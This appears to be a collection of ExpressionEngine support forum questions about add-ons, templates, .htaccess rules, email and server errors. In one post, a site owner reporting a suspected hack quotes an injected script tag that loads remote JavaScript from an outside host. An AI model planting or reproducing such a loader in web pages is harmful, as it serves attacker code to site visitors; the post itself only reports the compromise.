I've seen the other posts(Solspace freeform "form expired" under EE 2.8) about this same issue. but they didn't really solve the issue. I really have to get this working as this form has dragged on a while with issues. I have a multipage form and I get the error sometimes after submitting the first page. Other posts say to disable the CSRF protection using the config.php, but I've been told this isn't good for security. I can post template code, but I don't know if my setup even matters as other people have the same issue. Please let me know if you need any more information, thanks!

EE v2.9.3

Freeform Pro v4.2.2


texts: Is it possible for me to change the formatting buttons in the Matrix rich text field? Just trying to add a break tag <br> and maybe a couple others.


texts: WYGWAM failing to initialize ... one just one entry

texts:
I’m running into something that isn’t making sense to me … I have a client that has created this page: http://teamthroughmywindow.org/about-our-project/faqs

The questions and answers are all anchor links, etc. and they used WYGWAM to create all of them.  The rest of the site uses WYGWAM as well and they CAN edit other pages successfully right now (meaning CKEditor initializes just fine.)  On this page the editor doesn’t initialize and it freezes up the browser.

My question is this … are there any size limits / issues with the link tool when so many anchors are used?  They were able to save the revised page (there is a lot more content now).  If not, can you offer some insight into where I may look to resolve this.  I’ve tried clearing the cache in EE and in the browser (ran into a similar issue during EE upgrades in the past and that was a browser cache issue but that doesn’t appear to be the case here as I would expect them all to fail).

I look forward to your reply.


texts:
I have a question concerning the function of research in Grid field, specifically on a  relationship field. Here's my problem:

I have a grid field for a product catalogue, with many fields for each product specification. One of them is a relationship field, that catch the data from a "brand" channel. So I have

  {exp:channel:entries channel="my_channel"}

  {catalogue}

  {catalogue:brand}

  {catalogue:brand:brand_title}

  {/catalogue:brand}

  {/catalogue}

  {/exp:channel:entries}

that shows me all the products on www.mysite.com/catalogue.

What I would like is to filter those products based on the brand, something like

segment_2 == brand_title

that will show, for example, all the Apple products on www.mysite.com/catalogue/apple and so on.

Is it possible? Thanks to everyone who will help me.


texts:
From yesterday, I'm trying this 301 url redirect but its not working as expected. Please help me with this. here is the .htaccess file code.

Options +FollowSymLinks +SymLinksIfOwnerMatch -MultiViews
RewriteEngine On
RewriteCond %{HTTP_HOST} ^mydomain.com [NC]
RewriteRule ^(.*)$ http://www.mydomain.com/$1 [L,R=301]
RewriteBase /
rewriterule ^(.*)/(.*)\.html$ product.php?id=$1&name=$2 [L]
rewriterule ^deals/(.*)$ details.php?id=$1 [L]
rewritecond %{SERVER_PORT} 80
rewritecond %{REQUEST_URI} publisher.php

Redirect 301 /deals/74/product-name.html http://mydomain.com/74/product-name.html

Whenever I enter www.mydomain.com/deals/74/product-name.html, It redirects me to "www.mydomain.com/deals/74/product-name.html?id=74&name=product-name"

I'm not sure why its appending "?id=74&name=product-name" after url? I want to display only "www.mydomain.com/deals/74/product-name.html"

I don't know how to fix this problem. I'll appreciate if you can guide me on this.


texts: Is there any configuration in cartthrob to ignore coupon on discounted product?

texts:
We provide, discount and coupon code on our store powered by cartthrob. Its seems, if someone coupon code works too on discounted products but we don't want user to apply coupon code on discounted products. Is there anything built in cartthrob so, we can prevent user to apply coupon code on discounted items? or do we've to alter cartthrob code? I found similar question here - (In Cartthrob, how could one stop a discount being applied with any other coupon?) but that couldn't fulfil my need.
Thanks


texts: How can I change URL using .htaccess RewriteRule directives?

texts:
I have a URL like http://www.psreducators.com/agent-profile/?u=donald-mark,
but I want the users to see the URL as http://www.psreducators.com/agent-profile/donald-mark. (donald-mark is the user profile name.)

How can I achieve this using .htaccess RewriteRule directives?


texts: Quick and easy way to get category name from ID

texts:
We've inherited a site that has hundreds of categories in a large number of groups.

We're working on the templates and many times need to see what a category ID actually is and where it is. So far it's kind of cumbersome to trawl through all the groups every time looking for each one.... is there a plug for the CP that can list all the Categories outside of their groups in sequential order?

What's the best way of quickly matching these IDs to the cat name?


texts: How to include an html encode php script in a layout template?

texts:
Am trying to include an html encode php script on the very top of a layout template.

Am allowing php to execute on this layout template, however I end up with something like this

{!-- ra:000000007e39e89a000000001069d118 --}

Any help is appreciated!


texts: Hacked? Modified index.php contains Akismet code with strange URL

texts:
Does anyone know or have any info on EE's index.php having Akismet plugin code in it?

I logged into one of my EE installations today and was greeted by the message:

"One or more core files have been altered: <ee/install/path>/index.php"

There is a line being injected into the bottom of my pages:

</html><script type="text/javascript" src="http://pfadfinder-fallingbostel.de/kjfdqhrp.php?id=7477523"></script>

The script line is at the bottom of a lot of Akismet code in my index.php file that I cannot seem to find in any of my other EE installations running Freeform as well.

Details: EE v.2.8.1, Freeform v.4.1.5, cPanel Hosting (WHM WHM 11.44.1 (build 18) - CENTOS 6.5 x86_64), No other no-spam software installed.

Screenshot for start and stop of Akismet code in index.php:


texts: DevDemon Channel Videos is now returning https://youtube.com/devicesupport

texts:
Apparently YouTube has changed their API which seems to have killed Channel Videos. When searching for a video in the add-on, the devicesupport video comes up. I'm really hoping that there's a fix for this!

This post https://support.google.com/youtube/answer/6098135?p=yt_devicesupport&hl=en&rd=1 indicates that the change to the API was made at the beginning of May.


texts: Why are email notifications not being delivered?

texts:
I recently moved a number of sites to a new host and with that move have begun to have issues with email notification: new member, profile edit, new entry. The curious thing is that the notification issues are limited to domain-specific email accounts. For example, if I put a person from the client organization in the notification list as well as myself, and they have a company email associated with the domain and I include my email, which is not, I will get the notification but they don't.

Has anyone experienced this? If so, what could be the root cause? It is a challenge to take this issue to the hosting provider because they will see it as an Expression Engine problem, which of course they wouldn't support.

I am open to any and all suggestions for a solution to this.


texts:
Site is running EE 2.1.3 and I'm now getting WSoD on a few of my front-end pages (notably those with imgsizer plugin enabled, the other pages without images are working fine). I've read that it's a memory issue related to trying to generate a thumbnail with Image Sizer plugin (running 2.6.4) in this related thread but no solutions are offered. I tried upgrading to newer version that's been forked on GitHub but got the same problem. I've also changed the memory allocation to 512M and still no luck. Enabling debugging in index.php yields no PHP errors on the back-end and template files are parsing correctly.

This all started when I got an error message after a member couldn't upload a file (I'm assuming it was too large although I haven't heard back from them yet). The following error came from our server:

[19-Feb-2015 11:24:25 America/Denver] PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 17472 bytes) in /home/artdistr/public_html/system/expressionengine/third_party/imgsizer/pi.imgsizer.php on line 546

Now I'm getting a whole host of problems where paths aren't found (I'll only include one since there's a ton of them) from the server:
Feb 26 12:24:22 2015] [error] [client 69.245.61.229] File does not exist: /home/artdistr/public_html/themes/template_variables, referer: http://www.artdistrictonsantafe.com/system/index.php?S=0&D=cp&C=addons_plugins

Thanks in advance, I'm totally stumped here.


texts: CRUDL Interface for Custom Data and Files: The Correct Way

texts:
I am creating a web app that will:

Take parameters in a form submission
Run an action which will query an api to retrieve report data based on those parameters
Save that report as a file along with user data (user name, id, member path, and time of submission) as an entry to a database
List those entries (along with links to download the files)

I have an idea about how to approach this but I wanted to check here to see if I'm on or off base before getting too deep into it. As of right now I have the first two items working well enough for testing: I can query the API and get the user data I need. It's the CRUDL best practices that I'm interested in learning for this question.

My thinking is that I would save this data as a channel entry and then list out the entries using the standard channel template tags. In other words, when someone makes a form submission it will validate and save that data and file as a channel entry.

What's the best way of going about this? Should I create a channel in the control panel Channel Manger and a corresponding directory in the File Manger and use the db helper to insert, edit, and delete those items in my action method?


texts:
I need to provide an email form on my website that'll email members. I want to be able to set custom mail headers before the email is sent (I'm using Mandrill, so custom headers allow me additional features). I don't see anything in the docs about custom mail headers: https://ellislab.com/expressionengine/user-guide/development/usage/email.html

Is this possible to do in EE?

UPDATE 1:

I created an extension. And looking at this: https://ellislab.com/expressionengine/user-guide/development/extension_hooks/global/email/index.html -- it seems I should be able to set the headers by manipulating $data['headers']. I have this in my extension:

function email_send(&$data)
{
    $data['subject']        = 'Hello World';
    $data['headers']['foo'] = 'bar';
}

When I receive the email, the subject is "Hello World". However, when I look at the headers, I do not see foo => bar in it. I've checked with my host to see if there is anything that the hosting might be doing to strip custom headers. They claim no. So, the next question: is there anything in EE that might be preventing me from setting custom headers?

I'm currently configured to use PHP Mail, but I do want to use SMTP for this eventually.

UPDATE 2:

When I configure CPanel to use either Sendmail or SMTP, the subject does not get set to "Hello World". Instead, it says "Contact Form Email". Summary:

Subject only gets set when in PHP Mail
Email headers not set in PHP Mail, Sendmail, or SMTP


texts: Need to pull member information and custom fields from an external SQL (not mySQL) database into EE. The database is too big to export to csv (9gb) and import using Datagrab/Importer. Would JSON be option here as it will be a lot smaller size? So create a page on their server that is in the correct JSON format and then import the feed using Datagrab/Importer?


texts:
I'm using EE2.5 with structure.
I have a simple nav:

{exp:structure:nav current_class="selected" start_from="/" show_depth="2" include_ul="no"}

I have a channel: photos

I have a Category Group: photograph and this Category Group has categories

Each entrie from photos get assign to an categorie

I have a unique template "ovezicht" to show the categories from channel "photos" and when I click on a "category_image" I see all the photos assign to this category.

overvieuw categories

{if segment_3 == ""}

{exp:channel:categories channel="photos" style="flat"}

{/exp:channel:categories}

{/if}

(This is the url when watching the categories: .../uitleen/overzicht/)

photos from a selected categorie

{if segment_3 != ""}
{exp:channel:entries channel="photos" disable="member_data" limit="1" paginate="bottom"}

{naam_fotograaf}

{title} | {jaartal}

{formaat}

{prijs}

 {paginate}

  {pagination_links}

{/paginate}

{/exp:channel:entries}
{/if}

(This is the url when watching the photos from a selected categorie: .../overzicht/fotograaf/francois-morfouace)

NOW MY PROBLEM

When I view photos from a selected categorie the menu item has no more the class selected in the nav.


texts: Replacement for Content elements? (Migrating a site from EE2 to EE3)

texts:
I've been preparing the move to EE3 for quite some time. The official "push" has made me speed up the preparations. I'm using content elements and would really love to keep using it in EE3. It's currently not available for EE3, so I'm really looking for a replacement.

Anyone with a similar situation? Is there a fieldtype I can migrate to?


texts:
I have this code

{exp:low_replace find="\r|\n|\t" replace="" regex="yes"}
    {if '{member_group}' == 7}
        aaa
    {if:else}
        zzz
    {/if}
    {if '{logged_in_member_group}' != 7}
        bb
    {if:else}
        yyy
    {/if}
    {if {logged_in_member_group} == '7'}
        ccc
    {if:else}
        xxx
    {/if}
    {if {logged_in_member_group} != '7'}
        dddd
    {if:else}
        www
    {/if}
    {member_group}
{/exp:low_replace}

The output is

zzz yyy xxx www 7

This is weird because the output of {member_group} is 7.

Why are the conditionals not matching?


texts:
We have a client website which we inherited from another agency. It came with EE 2.10.1. We are normally a Craft agency, so we aren't unfamiliar with the way EE works.

Last night, I got a message that our client site was down. When I looked at it, the site started returning "File Not Found". This website was working earlier this week. I can get into the CP just fine. The log shows that the last login from our client to add content was on the 3rd. All of our other websites are working fine.

Can anyone tell me how I can diagnose this issue so I can fix it? I'm not getting any errors or anything.